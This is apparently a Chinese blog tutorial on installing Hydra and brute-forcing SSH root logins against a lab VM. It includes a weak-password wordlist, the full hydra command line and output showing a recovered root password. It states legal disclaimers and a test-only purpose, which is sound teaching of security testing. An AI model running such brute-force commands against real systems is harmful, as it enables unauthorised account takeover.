Linux安全-攻击篇-密码破解之Hydra工具

1.前言

1.1 关于法律

本文仅从安全角度去探讨测试，请勿非法使用，遵守法律法规。

1.2 Hydra介绍

Hydra是一款基于协议的在线连接测试密码安全工具，支持多款协议。

1.3 测试环境

Linux多使用SSH协议进行登录管理，所以本文仅介绍Hydra关于SSH方面的使用，从而进行测试、破解密码。
Linux版本：

[root@legend_never_dies opt]# uname -a
Linux legend_never_dies 3.10.0-1127.el7.x86_64 #1 SMP Tue Mar 31 23:36:51 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

2.准备工作

2.1安装Hydra

官方安装原文（文末有Hydra的GitHub链接）：

type "./configure", then "make" and finally "sudo make install"

For special modules you need to install software packages before
you run "./configure":
  Ubuntu/Debian:  apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncurses5-dev
  Redhat/Fedora:  yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
  OpenSuSE:       zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

For the Oracle login module, install the basic and SDK packages:
 http://www.oracle.com/technetwork/database/features/instant-client/index.html

2.1.1 安装依赖环境

根据官文介绍，本机使用测试环境的linux版本为centos，所以对应需要使用Redhat/Fedora的yum安装。

[root@legend_never_dies opt]# yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel -y

末尾的-y参数为同意安装，即不提示确认是否安装。

2.1.2 安装Hydra

依赖环境安装成功后，接着就是下载tar包进行解压并安装。
下载：

[root@legend_never_dies opt]# wget https://github.com/vanhauser-thc/thc-hydra/archive/v9.1.tar.gz

解压：

[root@legend_never_dies opt]# tar xzvf v9.1.tar.gz 

安装：

[root@legend_never_dies opt]# ls
thc-hydra-9.1  tmp  v9.1.tar.gz
[root@legend_never_dies opt]# cd thc-hydra-9.1/
[root@legend_never_dies thc-hydra-9.1]# ./configure

执行成功后继续使用make下一步安装。

[root@legend_never_dies thc-hydra-9.1]# make

make成功后继续下一步make install安装。

[root@legend_never_dies thc-hydra-9.1]# make install

至此Hydra安装完毕

2.2 字典

字典的质量决定密码破解的效率及是否成功破解。

2.2.1 账号字典

本文不具体介绍账号字典的细节，具体使用方法为使用hydra -L user.txt。

2.2.2 密码字典

为做测试，手动输入一些简单密码，如123,123456,123321等弱密码作为密码字典，并在后面进行修改测试机的密码为字典中密码，用于测试是否成功。
生成pass.txt，用作密码字典。

[root@legend_never_dies test]# cat >pass.txt<
> 123
> 456
> 789
> 123456
> 654321
> 123321
> EOF

3.实战破解

由于是测试环境，所以我这里新建一个虚拟机进行破解测试，实际环境破解测试密码时，修改IP为对应IP即可。
测试机IP为：10.20.151.183
-l为指定用户，-P为指定密码文件，-t为指定线程数量（具体多少请根据配置自行修改）-vV为显示进展详情

3.1 测试密码-未发现密码

为方便展示，不使用-vV参数，各位有兴趣可以使用该参数。

[root@legend_never_dies test]# hydra -l root -P pass.txt ssh://10.20.151.183 -t 4
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-10 20:40:11
[DATA] max 4 tasks per 1 server, overall 4 tasks, 6 login tries (l:1/p:6), ~2 tries per task
[DATA] attacking ssh://10.20.151.183:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-10 20:40:15

执行结果：1 of 1 target completed, 0 valid password found

3.2 测试密码-发现密码

为确保密码字典中涵盖测试机的正确密码，所以手动修改一下root的密码为123321。

[root@legend_never_dies test]# passwd
更改用户 root 的密码 。
新的 密码：
无效的密码： 密码是一个回文
重新输入新的 密码：
passwd：所有的身份验证令牌已经成功更新。

接着使用hydra进行破解测试

[root@legend_never_dies test]# hydra -l root -P pass.txt ssh://10.20.151.183 -t 4
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-10 20:41:03
[DATA] max 4 tasks per 1 server, overall 4 tasks, 6 login tries (l:1/p:6), ~2 tries per task
[DATA] attacking ssh://10.20.151.183:22/
[22][ssh] host: 10.20.151.183   login: root   password: 123321
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-10 20:41:08

执行结果：
[22][ssh] host: 10.20.151.183 login: root password: 123321
1 of 1 target successfully completed, 1 valid password found。
具体的账号密码为root，密码为123321.
可以使用-o 参数指定保存结果输出到文件中，注意，该参数需要写在-P后，IP前，不然会提示错误。

4.其他

后续有时间在写一下关于防御篇，再次重申请勿使用非法途径！！！

关于Hydra：
Github：https://github.com/vanhauser-thc/thc-hydra